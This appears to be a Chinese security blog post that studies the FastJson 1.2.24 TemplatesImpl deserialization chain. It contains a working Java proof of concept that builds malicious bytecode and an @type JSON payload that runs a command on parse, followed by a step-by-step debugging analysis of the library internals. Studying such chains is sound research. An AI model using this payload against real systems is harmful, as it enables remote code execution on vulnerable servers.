FastJson TemplatesImpl利用鏈詳細呼叫學習

akka1發表於2022-04-13

FastJson利用鏈

Fastjson的版本在1.2.22-1.2.24主要有兩條鏈利用TemplatsImplJdbcRowSetImpl利用鏈先來學習TemplatsImpl利用鏈,這個與前面jdk7u21所用的都是通過defineclass來例項化惡意位元組碼導致的任意程式碼執行。

1、漏洞復現

元件依賴版本:

 <dependencies>
        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>1.10</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.19.0-GA</version>
        </dependency>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
    </dependencies>

利用鏈:

  1. JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

poc

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;

public class fastjsonTest {
    public static class test{}

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(test.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "akka1" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

        byte[] evilCode = cc.toBytecode();
        String evilCode_base64 = Base64.encodeBase64String(evilCode);
        System.out.println(evilCode_base64);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String payload =
                "{\"" +
                        "@type\":\"" + NASTY_CLASS + "\"," + "\"" +
                        "_bytecodes\":[\"" + evilCode_base64 + "\"]," +
                        "'_name':'asd','" +
                        "_tfactory':{ },\"" +
                        "_outputProperties\":{ }," + "\"" +
                        "_version\":\"1.0\",\"" +
                        "allowedProtocols\":\"all\"}\n";
        ParserConfig config = new ParserConfig();
        Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);

    }

}

image-20220412165446582

看完poc,有幾個問題,希望在除錯的過程解決他

1.為什麼_bytecodes為什麼要base64加密

在執行JSON.parseObject()中,會迴圈獲取所以欄位

value = parser.parseObject(clazz, (Object)null);

image-20220413032148560

在com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze方法會呼叫byteValue方法,跟進去看看

image-20220413032256194

會呼叫base64解碼

image-20220413032520217

2._outputProperties使用來幹什麼的,用來生成getoutputProperties去呼叫newTransformer

3.parseObject 為什麼要設定Feature.SupportNonPublicField,序列化時用來呼叫private型別的屬性

4._tfactory為什麼為{}, 因為在jdk7u21在defineTransletClasses()時會呼叫getExternalExtensionsMap(),當為null時會報錯

2、漏洞利用條件

  1. 服務端使用parseObject()時,必須使用如下格式才能觸發漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
  2. 服務端使用parse()時,需要JSON.parse(text1,Feature.SupportNonPublicField)

3、漏洞除錯

我們在parseObject打下斷點,我們跟進 parseObject方法

image-20220412171911648

進入input為我們的惡意json字串程式碼,第二個是Object的型別,第三個是例項化的ParserConfig,第四個就是序列化時用來呼叫private型別的屬性,進入他的過載方法多了兩個引數,一個ParseProcess型別的null,一個是整形的DEFAULT_PARSER_FEATURE(989)

image-20220412172109423

進入到了主要的parseObject方法,首先比較一下featureValues和feature,然後例項化了一個DefaultJSONParser,裡面存著我們的input(惡意程式碼),我們跟進去看

image-20220412174152953

發現繼續呼叫了過載方法,繼續跟進

image-20220412182320034

進入DefaultJSONParser發現繼續一大堆賦值,我們重點看看lexer,後面會用到,其實lexer是通過new JSONScanner(input, length, features)獲取的

image-20220412182437354

我們先看看JSONScanner的構造方法,把input變成了字串呼叫了自己的過載方法,

public JSONScanner(char[] input, int inputLength, int features) {
    this(new String(input, 0, inputLength), features);
}

然後把input賦值給了this.text,然後呼叫了next()方法,跟進next方法

image-20220412193610676

拿到;”{“賦值給this.ch,

image-20220412193708770

所以lexer就是一個儲存了一個惡意字串的物件

然後我們繼續回到DefaultJSONParser的構造方法,我們跟進lexer.getCurrent()的方法就是用於返回ch的,ch為{

image-20220412184733405

所以進入if,呼叫lexer的next(),這是後的ch的值為雙引號("),我們看重點lexer.token被賦值為了12

image-20220412194131047

我們繼續回到Json.class,再一次呼叫了DefaultJSONParser的parseObject的過載方法,繼續跟進去

image-20220412175845507

判斷一下token,因為lexer.token()為12.,然後獲取一個ObjectDeserializer,derializer去呼叫deserialze方法,把this穿進去了(惡意程式碼),跟進去看看

image-20220412180342172

進入來,this被賦值給parser了,判斷是不是GenericArrayType型別,我們傳入的是Object.class,進入else,當type instanceof Class && type != Object.class && type != Serializable.class為ture則呼叫parser.parseObject(type) 否則呼叫parser.parse(fieldName),這裡肯定是flase的進入parser.parse(fieldName),因為type 就是Object.class。我們繼續跟進

image-20220412180812645

進入他使用了將this.lexer賦值給lexer,就是我們前面分析的DefaultJSONParser的構造方法賦值,且lexer.token()為12.

image-20220412181802278

我們直接看case等於12的,繼續跟進this.parseObject((Map)object, fieldName)

image-20220412194650627

因為token等於12,所以進入else,而ch前面分析過為雙引號("),所以進入if,呼叫lexer.scanSymbol方法

image-20220412195133236

先看this.symbolTable,存的是@type,

image-20220412195759345

所以key為@type

image-20220412200334687

然後我們越過else,直接看下面的程式碼

image-20220412200710654

我們直接來看重點,就是下面這段,判斷key是否為@JSON.DEFAULT_TYPE_KEY,這個其實就是@type,然後進入我if。

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
  ref = lexer.scanSymbol(this.symbolTable, '"');
  Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

image-20220412200851688

其實我們跟進去發現,他就是一個一個字串的獲取@type欄位傳入的值,賦值給ref

image-20220413004427260

這是通過TypeUtils.loadClass反射獲取類物件clazz,其實就是templatesImpl

然後到了這裡,我們跟進this.config.getDeserializer(clazz)clazz就是templateImpl,但是隻有明明只,就是ParserConfig

image-20220412201835658

判斷是不是Class物件,明顯是,繼續跟進ParserConfig的this.getDeserializer((Class)type, type);

image-20220413001357503

進入之後我們一步一步往下走。

image-20220413004842106

走到這我們也可以發現class就是我們在@type存入的東西TemplatesImpl

image-20220413005209998

在往下走到這行程式碼,建立建一個反序列化bean(語譯),我們跟進去

derializer = this.createJavaBeanDeserializer(clazz, (Type)type);

image-20220413002005360

進去發現對clazz進行一系列判斷賦值,繼續走

image-20220413005820000

到了beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy),繼續跟進

image-20220413010049178

進入到JavaBeanInfo.build,我們挑重點來看

image-20220413010307042

第一個圖set

image-20220413011518281

第二個get

image-20220413011704305

@type拿到類之後,通過反射拿到該類所有的方法存入methods,接下來遍歷methods進而獲取get、set方法

如上圖,自動呼叫set方法的條件是

  1. 方法名長度大於4
  2. 非靜態方法
  3. 返回值為void或當前類
  4. 方法名以set開頭
  5. 引數個數為1

如上圖,自動get方法方法的條件是

  1. 方法名長度大於等於4
  2. 非靜態方法
  3. 以get開頭且第4個字母為大寫
  4. 無傳入引數
  5. 返回值型別繼承自Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong

我們直接看get這裡,迴圈獲取方法名getOutputProperties,然後進入迴圈,然後根據紅框,從第四位取起,然後變成小寫,

所以propertyName就是outputProperties

image-20220413013429894

然後就是判斷fieldList這個陣列裡面有沒有這個方法,沒有就把他加進去,再返回JavaBeanInfo

image-20220413014006276

好了現在我們再回到DefaultJSONParser繼續除錯,此時的JavaBeanDeserializer的deserializer是已經包含了beaninfo(存放了outputproperties),我們跟進deserializer.deserialze(this, clazz, fieldName);

image-20220413014419192

進入com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer的deserialze方法,繼續進入兩次過載方法

image-20220413014756712

進入到我們的主要函式,我依然看關鍵節點的資料

image-20220413014906879

第一個可以看出我們的確在this.sortedFieldDeserializers中存入了outputproperties,從建構函式得知this.sortedFieldDeserializers[]就是通過beanInfo賦值得到的。

image-20220413020211316

image-20220413020132761

然後就是迴圈我們json資料了,太多程式碼了,我們繼續看重點,這裡的key就是我們json的第二欄位存入的值,如下圖,我們跟進去

image-20220413020642439

image-20220413020817388

進入parseField,繼續呼叫了smartMatch,我們繼續跟進

image-20220413021159984

進入後判斷一下有沒有key的fieldDeserializer,如果沒有就把_bytecodes替換為bytecodes,

image-20220413021439259

image-20220413021427094

我們繼續回到com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer的parseField方法,走到這,繼續跟進

image-20220413022824753

進入到com.alibaba.fastjson.parser.deserializer的DefaultFieldDeserializer的parseField方法

image-20220413022956800

我繼續走到this.setValue(object, value),此處穿的object是TemplatesImpl ,value為惡意程式碼類的位元組,value就是通過parser讀取出來的

image-20220413024506193

image-20220413023045290

繼續進入setvalue方法

image-20220413024628728

這個過程會在JavaBeanDeserializer迴圈進行,知道獲取完所有的json欄位,直到method != null,我們的json欄位中只有_outputProperties符合,成功進入if,然後反射執行,繼續跟進幾個invoke方法進入到TemplatesImpl

image-20220413024822397

TemplatesImpl呼叫getOutputProperties--》再呼叫newTransformer,跟jdk7u21鏈和cc2鏈後面一樣的,就不繼續跟了

image-20220413030114460

4、結束

這次的Fastjson的TemplatesImpl鏈花費10個小時,一點點跟,瞭解一些細節,這條鏈可以說很長,細節也很多,參考了很多大佬的文章。

參考
https://www.cnblogs.com/nice0e3/p/14601670.html#
https://y4er.com/post/fastjson-learn/

相關文章